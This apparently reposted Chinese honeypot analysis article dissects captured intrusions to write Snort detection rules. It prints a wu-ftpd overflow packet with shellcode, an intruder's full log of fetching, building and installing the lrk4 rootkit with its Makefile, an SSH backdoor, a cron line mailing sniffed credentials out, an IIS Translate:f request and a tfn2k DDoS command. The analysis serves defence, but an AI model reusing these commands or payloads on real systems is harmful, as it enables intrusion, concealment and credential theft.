而对于这样的溢出攻击,我们需要捕获什么样的数据才能获得入侵后的行为?很多平常的思维模式是:截获入侵者所输入的超长密码,当密码长度超过特定限制便触发入侵检测记录其行为。但是,这里存在一个问题,exploit的程序不只一个,溢出的密码串也形形色色,如何为其规定一个统一的数字特征呢?于是搜集溢出后服务器回馈的信息代码成了我非常感兴趣的目标,而且这绝对是个妙极的主意!为证实我的想法并剖析其漏洞利用原理,数据截包如下:
05/14-01:25:38.420608 192.168.1.18:1968 -> 192.168.1.250:21
tcp TTL:64 TOS:0x10 ID:31579 DF
*****PA* Seq: 0x6BF2C954 Ack: 0xE69A711B Win: 0x7FB8
TCP Options => NOP NOP TS: 58495044 3110955
50 41 53 53 20 90 90 90 90 90 90 90 90 90 90 90 PASS ...........
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ................
90 90 90 90 90 90 90 90 90 90 90 31 C0 31 DB 31 ...........1.1.1
C9 B0 46 CD 80 31 C0 31 DB 43 89 D9 41 B0 3F CD ..F..1.1.C..A.?.
80 EB 6B 5E 31 C0 31 C9 8D 5E 01 88 46 04 66 B9 ..k^1.1..^..F.f.
FF FF 01 B0 27 CD 80 31 C0 8D 5E 01 B0 3D CD 80 ....''..1..^..=..
31 C0 31 DB 8D 5E 08 89 43 02 31 C9 FE C9 31 C0 1.1..^..C.1...1.
8D 5E 08 B0 0C CD 80 FE C9 75 F3 31 C0 88 46 09 .^.......u.1..F.
8D 5E 08 B0 3D CD 80 FE 0E B0 30 FE C8 88 46 04 .^..=.....0...F.
31 C0 88 46 07 89 76 08 89 46 0C 89 F3 8D 4E 08 1..F..v..F....N.
8D 56 0C B0 0B CD 80 31 C0 31 DB B0 01 CD 80 E8 .V.....1.1......
90 FF FF FF FF FF FF 30 62 69 6E 30 73 68 31 2E .......0bin0sh1.
2E 31 31 0D 0A .11..
从截获的FTP登录数据包,我们发现在密码验证的时候(即在PASS指令之后),输入超长的密码口令(发送适当的shellcode能成功溢出wu-ftpd,例如象wu-lnx.c类型的程序),如果成功溢出,服务器回馈31c031db 31c9b046 cd80 31c031db的16进制信息(即上表中的1.1.1..F..1.1.的数字特征),随后获得远程系统root的/bin/sh。
由于服务器溢出信息回馈无数据偏移,即Dataoffset为零,由此我们得到了snort的又一入侵特征规则:
alert TCP $EXTERNAL any -> $INTERNAL 21 (msg: "IDS287/ftp_ftp-wuftp260-venglin-linux"; flags: A+; content: "|31c031db 31c9b046 cd80 31c031db|"; classtype: system-attempt; reference: arachnids,287
#3
全面入侵数字解析
入侵者通过端口扫描、漏洞利用等方式获得了系统的控制权限,接下来他该做什么?许多电影情节中,非法闯入他人住宅,在不起眼的角落藏匿物件然后嫁祸于人的做法很司空见惯。于是把这种思维运用于Internet成了理所应当的现实!
通过数据包的监测追踪,我发现入侵者运行许多非常有趣的命令,为了便于说明其手法,我从追捕的数据包中整理了其精致的个性行为,并在必要命令旁加入注释:
#unset HISTFILE;id;uname -a;
uid=0(root) gid=0(root) groups=0(root), 1(bin), 2(daemon), 3(sys), 4(adm), 6(disk), 10(wheel)
Linux res 2.4.7-4 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
/* 入侵者取消HISTFILE环境变量,系统无法记录入侵者所使用的命令;
* 查看ID属性,确认成功溢出获得root权限;
*/ 查看所控制的系统环境
#mkdir /var/tmp/…
#cd /var/tmp/…
#wget http://packetstormsecurity.org/U ... its/lrk5.src.tar.gz /* 在/var/tmp建立一个隐含的“…”目录
* 试图利用wget从packetstormsecurity.org下载一个rootkit后门
*/ 很佩服入侵者的记忆,能记住后门的准确URL地址并且大小写单词也非常准确,赞!
#ls –al /usr/bin/wget
ls: /usr/bin/wget: No such file or directory
#find / -name wget –print
/* 遗憾的是系统中没有安装wget,然而这使入侵过程变的更为有趣!
*/ 这期间,入侵行为大约停滞了5、6分钟(估计他在考虑如何下载程序)。
#lynx –source packetstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz \
>>lrk5.src.tar.gz
#tar lrk5.src.tar.gz
lrk5/bindshell.c
lrk5/chfn/chfn.c
lrk5/chfn/setpwnam.c
lrk5/chsh/chsh.c
lrk5/chsh/setpwnam.c
lrk5/fileutils-3.13/intl/bindtextdom.c
lrk5/fileutils-3.13/intl/dcgettext.c
lrk5/fileutils-3.13/intl/dgettext.c
lrk5/fileutils-3.13/intl/gettext.c
lrk5/fileutils-3.13/lib/strtoul.c
lrk5/fileutils-3.13/lib/Makefile
lrk5/fileutils-3.13/lib/group_member.c
lrk5/inetd/inetd.c
lrk5/inetd/daemon.c
lrk5/login/login.c
lrk5/login/checktty.c
lrk5/passwd/passwd.c
lrk5/passwd/islocal.c
lrk5/procps-1.01/
lrk5/procps-1.01/ps.c
lrk5/procps-1.01/psmisc/
lrk5/procps-1.01/psmisc/pstree.c
lrk5/procps-1.01/top.c
lrk5/procps-1.01/utmp.c
lrk5/rshd/rshd.c
lrk5/sysklogd-1.3/
lrk5/sysklogd-1.3/syslog.c
lrk5/sysklogd-1.3/syslogd.c
lrk5/ssh-2.0.13/
lrk5/ssh-2.0.13/mkinstalldirs
lrk5/ssh-2.0.13/INSTALL
lrk5/ssh-2.0.13/lib/
lrk5/sniffer/
lrk5/sniffer/ip.h
lrk5/sniffer/tcp.h
lrk5/sniffer/bpf.h
lrk5/sniffer/pcap.h
lrk5/sniffer/Makefile
lrk5/sniffer/libpcap-0.4.tar
lrk5/sniffer/thesniff.c
……
#make all install
/* 安装了一个庞大rootkit工具包,这里列出了包中的少量文件存放路径(真实
* 的解压因其长度占用篇幅太多,故作截选),从名字大体可以判断来示意此
*/ rootkit各种惊人功能,触目惊心的感觉!
#cd ..
#rm –rf lrk*
#lynx www.asiic.com/asiic/code/trojans/lrk4.src.tar.gz >lrk4.src.tar.gz
#tar zxvf lrk4.src.tar.gz
#make all install
#vi rootkit.h
~include<net/if.h>
#cd ..
#rm –rf lrk
/* 这一部分的操作看起来有点奇特,后来才知道由于lrk5编译失败后
* 攻击者下载了lrk4的rootkit,修改rootkit.h文件,并成功安装lrk
*/ 后门程序
#4
为了检查入侵者安装的lrk4,我在实验环境中下载并编译lrk4包。对比原系统文件,其系统命令大部分被替换,这种极度渗透对于经验丰富的网络管理员将是一场噩梦!分析结构图如下(部分分析从源码文档翻译获得):
包目录结构:
bindshell 端口/SHELL的守护进程
chfn 木马程序,当用户输入密码时,可获得root权限
chsh 木马程序,在获得Shell使用的时候运行,可获得root权限
crontab 木马程序,隐藏时间记录
(注:比如,定期运行隐藏目录…中的backdoor程序,可以使用
blackhat 20,*,*,*,* /var/tmp/…/backdoor >/dev/null 2>&1
)
du 木马程序,隐藏文件。
find 木马程序,隐藏文件。
fix 替代和修改文件的时期戳和校验和
ifconfig 在sniff进行窃听的时候,使其promise状态不可见
inetd 提供无须验证的远程访问服务。
killall 不杀隐含的进程中含有linsniff和hack字端的进程
linsniffer 包嗅探器
login 可以使用rootkit提供的密码登录任意帐号。假如使用root登录被拒绝,可以使用”rewt”登录。当登录成功后,关闭历史日志记录。
ls 隐藏文件和目录。假如定义rootkit.h的SHOWFLAG,可以使用ls -/查看所有文件。只要文件名或者目录名为”ptyr”、”hack.dir”、”w4r3z”就被自动隐藏。我们也可通过/dev/ptyr增加隐藏文件名的定义。
netstat 修改或者隐藏TCP/UDP连接的端口、套接字、IP地址或uid等连接参数。
/dev/ptyq中定义了隐藏类型:
type 0: 隐藏uid号
type 1: 隐藏本地地址
type 2: 隐藏远程地址
type 3: 隐藏本地端口
type 4: 隐藏远程端口
type 5: 隐藏UNIX套接字路径
#######实 例########
0 500 <- 隐藏UID号为500的连接
1 128.31 <- 隐藏128.31网段对本地的连接
2 128.31.39.20 <- 隐藏到128.31.39.20的远程连接
3 8000 <- 隐藏所有本地端口为8000的连接
4 6667 <- 隐藏所有远程端口为6667的连接
5 .term/socket <-隐藏包括于.term/socket的套接字连接
passwd 输入rootkit的密码取代系统原有密码
pidof 类似于ps和killall。它通常返回命令的pid号。任何类似于ps木马程序所定义的进程类型2或进程类型3,具体含义可参阅ps说明。
ps 隐藏指定的进程。其数据定义文件存放于/dev/ptyp中:
0 0 隐藏所有root权限运行的进程
1 p0 隐藏终端的进程
2 sniffer 隐藏所有以sniffer命名的进程
3 hack 隐藏所有带有hack字段的进程
象proghack1, hack.scan, snhack等一类的进程会自动隐藏。假如定义文件不起作用,确信在命名的类型定义字段后面没有多余的空格符
rshd 以root权限执行远程命令。
用法:rsh -l rootkitpassword host_addr command
例如:rsh -l rootpass test.org /bin/sh -i
将会启动一个root的shell进程(rootkit的密码可以在rootkit.h修改)
sniffchk 一个简单测试linsniff是否运行的BSH脚本, 如果不是长期窃听一台服务起的话,它的作用并不大。
syslogd 从日志文件中删除指定的字串记录。定义文件为/dev/ptys:
evil.com
123.100.101.202
rshd
日志中包含了“evil.com”、“123.100.101.202”和“rshd”的字串记录将完全从日志中清除干净。
tcpd 允许没有任何日志记录的访问主机系统。Tcpd使用类型1来实现文件定义。
例如:
1 123.4.5.6
将会建立tcp帮定连接,允许123.4.5.6的隐藏登录连接。
top 其作用以及定义文件和ps类似。
wted 这个程序可以做很多事情。你可以观看wtmp或者utmp文件中的所有记录,按照用户名或主机名删除记录,查看zappped用户 (管理员用此类似的工具来查找删除的记录),删除zapped用户等。
z2 Zapper2的缩写,运行它可以擦除一个用户在utmp/wtmp/lastlog文件的所有记录。
#5
汗流浃背的观察lkr4所安装的木马后,现在让我感兴趣的是它们的安装过程,对比安装的二进制木马程序和系统原程序,我发现它们除了大小有所偏异,其文件属性、文件校验和和时间戳完全一样。于是我继续追踪其安装和编译路径:
#这是从源代码中截取的安装源文件代码
# Just to have a short-cut in the subdirectory Makefiles.
IBSD=-I/usr/include/bsd -include /usr/include/bsd/bsd.h
# These are just a common cases. Then we don''t have do write anything in the
# sublevel makefiles.
CFLAGS = ${O} ${IBSD}
LDLIBS = -lbsd
SUB = chfn chsh inetd login net-tools-1.32-alpha passwd \
procps-1.01 rshd sysklogd-1.3 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find
SHADOWSUB = inetd net-tools-1.32-alpha procps-1.01 rshd sysklogd-1.3 \
shadow-961025 tcpd_7.4 fileutils-3.13 cron3.0pl1 psmisc findutils/lib findutils/find
CC=gcc
all:
${CC} -o fix fix.c
${CC} -o z2 z2.c
${CC} -o wted wted.c
${CC} -O2 -o linsniffer linsniffer.c
${CC} -o bindshell bindshell.c
for i in $(SUB); do make -C $$i; done
mv chfn/chfn bin
mv chsh/chsh bin
mv login/login bin
mv passwd/passwd bin
shadow:
${CC} -o fix fix.c
${CC} -o z2 z2.c
${CC} -o wted wted.c
${CC} -O2 -o linsniffer linsniffer.c
${CC} -o bindshell bindshell.c
for i in $(SHADOWSUB); do make -C $$i; done
mv shadow-961025/src/chfn bin
mv shadow-961025/src/chsh bin
mv shadow-961025/src/login bin
mv shadow-961025/src/passwd bin
install:
if [ -x /usr/bin/chfn ] && [ -x bin/chfn ]; then ./fix /usr/bin/chfn bin/chfn; fi
if [ -x /usr/bin/chsh ] && [ -x bin/chsh ]; then ./fix /usr/bin/chsh bin/chsh; fi
if [ -x /bin/login ] && [ -x bin/login ]; then ./fix /bin/login bin/login; fi
if [ -x /bin/ls ] && [ -x fileutils-3.13/src/ls ]; then ./fix /bin/ls fileutils-3.13/src/ls; fi
if [ -x /bin/du ] && [ -x fileutils-3.13/src/du ]; then ./fix /bin/du fileutils-3.13/src/du; fi
if [ -x /usr/bin/passwd ] && [ -x bin/passwd ]; then ./fix /usr/bin/passwd bin/passwd; fi
if [ -x /bin/ps ] && [ -x procps-1.01/ps ]; then ./fix /bin/ps procps-1.01/ps; fi
if [ -x /usr/bin/top ] && [ -x procps-1.01/top ]; then ./fix /usr/bin/top procps-1.01/top; fi
if [ -x /usr/sbin/in.rshd ] && [ -x rshd/rshd ]; then ./fix /usr/sbin/in.rshd rshd/rshd; fi
if [ -x /bin/netstat ] && [ -x net-tools-1.32-alpha/netstat ]; then ./fix /bin/netstat net-tools-1.32-alpha/netstat; fi
if [ -x /sbin/ifconfig ] && [ -x net-tools-1.32-alpha/ifconfig ]; then ./fix /sbin/ifconfig net-tools-1.32-alpha/ifconfig; fi
if [ -x /usr/sbin/syslogd ] && [ -x sysklogd-1.3/syslogd ]; then ./fix /usr/sbin/syslogd sysklogd-1.3/syslogd; fi
if [ -x /usr/sbin/inetd ] && [ -x inetd/inetd ]; then ./fix /usr/sbin/inetd inetd/inetd; fi
if [ -x /usr/sbin/tcpd ] && [ -x tcpd_7.4/tcpd ]; then ./fix /usr/sbin/tcpd tcpd_7.4/tcpd; fi
if [ -x /usr/bin/killall ] && [ -x psmisc/killall ]; then ./fix /usr/bin/killall psmisc/killall; fi
if [ -x /bin/killall ] && [ -x psmisc/killall ]; then ./fix /bin/killall psmisc/killall; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /bin/killall ]; then ln -sf /bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ln -sf /usr/bin/killall psmisc/pidof; fi
if [ -x /usr/bin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /usr/bin/pidof psmisc/pidof; fi
if [ -x /sbin/pidof ] && [ -x psmisc/killall ] && [ -x /usr/bin/killall ]; then ./fix /sbin/pidof psmisc/pidof; fi
if [ -x /usr/bin/find ] && [ -x findutils/find/find ]; then ./fix /usr/bin/find findutils/find/find; fi
clean:
rm -f fix z2 wted linsniffer bindshell bin/*
for i in $(SUB); do make -C $$i clean; done
for i in $(SHADOWSUB); do make -C $$i clean; done
small:
for i in $(SUB); do strip $$i/*; done
for i in $(SHADOWSUB); do strip $$i/*; done
for i in $(SUB); do rm $$i/*.o; done
for i in $(SHADOWSUB); do rm $$i/*.o; done
从代码分析中可以看出,rootkit的安装其实是个很有条理的入侵过程。首先把编译好的二进制文件放如bin目录中;利用if语句比较原系统文件和木马程序,并把系统文件的属性值赋予这些木马程序,使其看起来和正常的命令文件并无二致;最后,扫除编译时候所残留的工具。
#6
这里顺便提到一点额外的知识,关于木马(trojan)的具体含义,许多专业bbs站点都有自己神话色彩的解释,于是混乱的解释干扰我们对木马的偏见认识,这里我给出RFC1244对其真实而朴质的描述:
“特洛伊木马是一种程序,它做某些有用的事情或者纯粹是一些有趣的事情。它总是做一些出人意料的事情。比如盗窃密码或者在没有你的认可下拷贝文件等。”
不管安装木马的作法会遭受Whitehat如何谴责,我们仍旧相信这种入侵的兴盛不衰正是强烈的控制欲诱惑让入侵者感到刺激和兴奋。
分析完毕rootkit的供效后,我们继续分析入侵者的剩余行为,发现了更为有趣的记录:
#mkdir /dev/ptyr
#cd /var/tmp/…
#lynx –source packetstormsecurity.nl/crypt/ssh/old/ssh-1.2.27.tar.gz >ssh-1.2.27.tar.gz
#lynx –source packetstormsecurity.nl/UNIX/penetration/rootkits/rkssh5.tar.gz \
>> rkssh5.tar.gz
#tar zxvf ssh-1.2.27.tar.gz
#tar zxvf rkssh5.tar.gz
#cp rkssh5/rk-ssh.diff ssh-1.2.27
#patch -p1 < rk-ssh.diff
#./configure –prefix=/dev/ptyr
#make
#make install
#cd ..
#rm –rf *
/* 以上入侵步骤是安装了一个打过补丁的SSHD服务器,并销毁其上载的文件。
* 于是查阅rkssh5的帮助文档,其作者声称是关于SSH的后门程序,所设置的默
* 认密码为 “global”,从跟踪记录看,入侵者并没有修改默认配置!而建立/dev/ptyr
*/ 目的则是为了隐藏。还记得rootkit中对ls工具的分析吗?J
入侵者继续扩大自己的战果,实现着自己的野心……相继修改/dev/ptyq,实现对3000端口的隐藏(netstat木马);修改/dev/ptys,实现对163.com字段的隐藏(syslogd木马);修改/dev/ptyp,实现对linsniffer和sshd进程的隐藏(ps木马)。
#/dev/ptyr/bin/sshd &
#./linsniffer > /dev/ptyr/tcp.log &
#crontab –e
* 1 * * * /sbin/sendmail vincenttp97@hotmail.com < /dev/ptyr/tcp.log
/* 运行ssh的后门程序,并且隐藏在3000端口进行监听;
* 运行linsniffer捕获网络环境的TCP连接(各种telnet、pop等认证会话);
* 最后,定制发送日志的时间,并且这些记录不会记录于系统日志中。
* 在整个精致的攻击过程,一切看来是完美无缺的。但是入侵者在定制
* 发送日志的时候,却留下了一个免费邮箱地址。对于一个敏锐的网络
* 管理员来说,它绝对是追查入侵者的有利线索!(本篇主要是针对入侵数据
*/ 做定性分析,因此不涉及反追踪技术的研究)
本次系统攻击,无论从端口扫描、远程溢出、Rootkit的安装还是从系统的窃听和监测等系列活动中,我们可以欣赏攻击者颇为文雅和谨慎的入侵风格。利用蜜罐系统,我们获得的更为真实的战斗场面,而且可以亲自观察这种巧妙入侵linux字符世界各种有趣行为。这种偷窥行为给我带来的愉快感绝不逊于入侵者侵蚀系统的宣泄郁愤的痛快心情。J
#7
IIS_Translate_F漏洞特征数字
Translate_F这个漏洞是IIS很早漏洞,之所以在这里对其进行数字解析的原因在于它是IIS存漏洞利用中比较经典的例子之一。在蜜罐的入侵侦测数据库中找到了根据漏洞的进行的攻击记录,以下是数据入侵的请求包:
08/18-12:53:14.293999 192.168.1.244:15253 -> 192.168.1.252:80
TCP TTL:53 TOS:0x0 ID:31083 DF
*****PA* Seq: 0x90F90192 Ack: 0x251D6AF2 Win: 0x2238
TCP Options => NOP NOP TS: 3060457 0
47 45 54 20 2F 70 61 67 65 73 2F 63 6F 6E 74 61 GET /pages/conta
63 74 2E 61 73 70 5C 20 48 54 54 50 2F 31 2E 30 ct.asp\ HTTP/1.0
0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 6C 69 ..User-Agent: li
62 77 77 77 2D 70 65 72 6C 2F 35 2E 34 35 0D 0A bwww-perl/5.45..
43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 74 65 Content-Type: te
78 74 2F 68 74 6D 6C 0D 0A 54 72 61 6E 73 6C 61 xt/html..Transla
74 65 3A 20 66 0D 0A 58 2D 46 6F 72 77 61 72 64 te: f..X-Forward
65 64 2D 46 6F 72 3A 20 32 30 39 2E 31 38 37 2E ed-For: 103.164.
31 34 30 2E 31 39 32 0D 0A 48 6F 73 74 3A 20 77 002.134..Host: w
77 77 2E 65 78 74 72 65 6D 65 6C 6F 67 69 63 2E ww.aaaaaaaaaaaa.
63 6F 6D 0D 0A 43 6F 6E 74 65 6E 74 2D 4C 65 6E com..Content-Len
67 74 68 3A 20 31 38 0D 0A 56 69 61 3A 20 31 2E gth: 18..Via: 1.
31 20 6E 65 74 63 61 63 68 65 30 31 2E 67 77 2E 1 netcache01.aa.
74 6F 74 61 6C 2D 77 65 62 2E 6E 65 74 20 28 4E aaaaaaaaa.net (N
65 74 43 61 63 68 65 20 34 2E 30 52 34 44 31 31 etCache 4.0R4D11
29 0D 0A 43 6F 6E 6E 65 63 74 69 6F 6E 3A 20 4B )..Connection: K
65 65 70 2D 41 6C 69 76 65 0D 0A 0D 0A eep-Alive....
微软IIS5.0有一个专用搜索用于检索ASP、ASA和HTR等文件。这个引擎处理这些类型文件的请求并相应的处理它们,并在服务器执行它们。当在HTTP get请求语句中包括带有”Translate: f”的请求头文件,那么服务器会把对这些文件请求以源代码的形式发送给客户,从而造成网站密码泄露事件。
从此数据包中,我们可以明确的看出HTTP请求的试探语法:”Translate: f”的字符串。根据上述的分析经验,我们能很快确定其入侵规则检查语法:
alert TCP $EXTERNAL any -> $INTERNAL 80 (msg: "IDS305/web-iis_http-iis_translate_f"; flags: A+; content: "|4 72 61 6E 73 6C 61 74 65 3A 20 66 |"; nocase; classtype: info-attempt; reference: arachnids,305
注意:熟练掌握入侵规则的编写方法便利于网络管理员能灵活的增加各种入侵检测条件,日益完善入侵检测的规则机制,从而建立更加优秀的蜜罐系统。
通过对windows两个有趣实例的测试,我们结束了整个入侵数据分析测试。虽然对windows我没有展开去分析,但是相信其整体的分析方法同上面的许多数据分析是一致的思路,因此举一反三,我们能自如的运用这种手段来分析解决这些暗藏的数字行为。
#8
Tribe FloodNet 2k(tfn2k)的Dos测试
最后,我分析蜜罐的中发生DDos攻击时,tfn2k主机之间的协同作战的数据联系。在实验环境中使用了2套Redhat7.2,安装了td,并在蜜罐中使用tfn控制两台机器进行协同作战(关于tfn2k的安装及其使用可以参考tfn2k.tgz的README文档,这里不做赘述)。使用“./tfn -f hosts.txt -c 6 -i 192.168.1.235”的ICMP攻击,大约20多分钟,系统已经处于瘫痪状态。
数据包跟踪截断如下:
5/15-00:03:33.277786 192.168.1.235 -> 192.168.1.250
ICMP TTL:246 TOS:0x0 ID:21972
ID:0 Seq:4830 ECHO REPLY
72 79 61 46 54 63 38 48 65 6D 65 75 50 39 53 32 ryaFTc8HemeuP9S2
6E 45 66 35 69 51 41 41 41 41 41 41 41 41 41 41 nEf5iQAAAAAAAAAA
41 41 41 41 41 41 41 41 AAAAAAAA
开始分析这个截流包的时候,我疑惑了很长一段时间,因为“ryaFTc8HemeuP9S2
nEf5iQ”这样的字符串并不代表具体含义,这里让我想到的是:在tfn2k主机之间的通讯是加密的。但在监测这种加密通讯时,我却发现每次加密字串是无规律的。后来,在仔细查看了tnf2k的文档才发现作者使用CAST-256 加密算法对通讯字串加密之后在使用base64进行解码,当td服务器自动对字串解密,实现协同作战之间的单项联系。
那么,我们如何得到这种攻击行为的特征代码呢?经过对包的ip头和icmp头进行分析,可以发现这样一个固定的数字行为: ICMP类型
ICMP ID号
0(icmp echo reply)
0
即:ICMP包为icmp echo replay类型,且其ID永远为0;当然,仅靠这些数字特征并不能表示网络安装了tfn2k的服务,应该注意到,在加密字串后面有一串连续的“AAAAAAAA”,根据作者声称,这些字符是用于填充作用的。现在我们能很快写出其入侵特征规则:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp possible communication"; itype: 0; icmp_id: 0; content: "AAAAAAAAAA"; reference:arachnids,425; classtype:attempted-dos; sid:222; rev:1
对TNF2K分析完毕,我们获得分布式拒绝攻击的数字协作特征的许多有趣资料。这对于我们分析更多的攻击方式将是非常便利的手段!
9
小结
利用蜜罐技术来模拟真实的网络服务资源环境,这大大方便我们研究网络安全结构、修补复杂网络环境中存在的各种弊病,同时实现对操作系统、安全产品的测试和质量评判。当然,Hit@me结构的蜜罐也存在着一些缺陷,比如,当入侵者使用隐秘的SSH登录,则无法监测其行为特性;在实现虚拟系统中如何引诱攻击行为;庞大的数据资源如何快速加工整理等若干问题。我希望大家能和我一起讨论并解决这些存在的困难。蜜罐在安全问题日益严重的今天,越来越体现了它无比优越的实用性。
参考资料
1、 www.snort.org
2、 www.whitehouse.com
3、 cve.mitre.org
4、 www.sans.org
5、 《最高安全机密》 3RD,机械工业出版社
6、《黑客大暴光 3RD》,机械工业出版社
http://www.hack58.net/Article/60/63/2005/4450.htm
0
相关文章